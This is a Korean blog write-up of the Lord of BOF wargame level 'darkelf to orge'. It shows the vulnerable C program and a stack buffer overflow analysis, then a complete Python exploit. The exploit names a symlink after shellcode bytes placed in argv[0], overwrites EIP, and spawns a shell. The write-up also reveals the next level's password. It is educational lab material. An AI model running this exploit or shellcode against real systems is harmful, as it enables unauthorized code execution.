-
Lord of BOF - Challenge [7번] Darkelf -> OrgeWARGAME/LORD OF BOF 2018. 7. 4. 16:13
[Summary]
1. 44행의 취약한 strcpy 함수를 이용하여 40 바이트의 buffer 배열에 40바이트 이상의 값을 입력함으로써 EIP 레지스터를 덮어씌울 수 있다.
2. argv[0] 위치에 쉘코드를 위치 시킬 수 있다.
3. buffer 배열에 dummy(44) 입력시킨 후 EIP 레지스터를 argv[0] 의 주소로 변조하여 ShellCode를 실행시킨다.
4. 프로그램 실행 권한의 쉘을 획득하여 flag를 획득한다.
[Sourcecode]
/* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); }
[Analysis]
소스코드를 보게 되면 44행에서 버퍼의 길이제한을 두지 않아 bof 취약점이 발생한다. 그러나, 이번 문제는 저번 문제(egghunter, bufferhunter)에 이어 argv[0] 의 값이 77이 아니면 프로그램을 강제 종료 시키는 루틴이 추가되었다.
argv[0] 의 값을 변경하기 위해서는 프로그램의 이름을 변경하거나 링크를 시키어 변경할 수 있다. 필자는 소프트 링크를 사용하여 파일 명을 변경하였다.
파일 명을 변경할 수 있고 파일 명이 메모리에 올라간다는 것은 파일명에 쉘코드를 위치 시킬수도 있다는 말이다. 즉, 소프트 링크를 통해 파일명을 지을 때 일반적인 파일명이 아닌 쉘코드로 파일 명을 생성할 수 있다.
먼저 bash2 를 실행 시키고 바이너리를 실행 시켜본다..
소스코드 22행의 루틴에 따라 에러 메시지를 보여주며 종료된다.
이를 우회하기 위해 파일 명이 "A" 문자열 75개로 한 소프트 링크 파일을 생성한다.
정상실행 되지만 eip 값이 stack 영역이 아니라서 종료된다.
(Length : './' + 'A'*75 => 77개 )
이제 이를 우회하기 위해 Core 파일을 생성하여 argv[0] 의 정확한 주소 값을 찾을 것이다.
gdb 명령 x/30s $esp 를 통해 argv[0] 의 주소를 찾는다.
0xbffffb53 주소가 argv[0] 의 주소이다. 하지만 './' 가 붙어있기 때문에 필자는 이 주소에 +2를 더한 0xbffffb55 를 저장하였다.
※ 참고로 이번문제는 Shellcode 를 사용할 때 약간의 주의가 필요하다. Shellcode 를 소프트링크 파일 명으로 쓰일때 \x2F('/') 가 있으면 안된다.
왜냐하면 리눅스 시스템에서 '/' 는 디렉토리를 지칭하는 예약어로 쓰이기 때문에 파일 명으로 쓰일 수 없다. 그렇기 때문에 필자는 ShellCode 에 \x2f 가 없는 Polymorphic Shellcode 를 사용할 것이다.
[Exploit]
# -*- coding: utf-8 -*- import struct import os p = lambda x : struct.pack("<I", x) argv0 = 0xbffffb55 shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" link = shellcode + "\x90"*(75-len(shellcode)) os.system('ln -s orge ' + link) payload = "A"*44 + p(argv0) os.system('./' + link + ' ' + payload) os.system('rm ' + link)
orge : timewalker
[References]
'WARGAME > LORD OF BOF' 카테고리의 다른 글
Lord of BOF - Challenge [9번] Troll -> Vampire (0) 2018.07.04 Lord of BOF - Challenge [8번] Orge -> Troll (0) 2018.07.04 Lord of BOF - Challenge [6번] Wolfman -> Darkelf (0) 2018.06.25 Lord of BOF - Challenge [5번] Orc -> Wolfman (0) 2018.06.24 Lord of BOF - Challenge [4번] Goblin -> Orc (0) 2018.06.21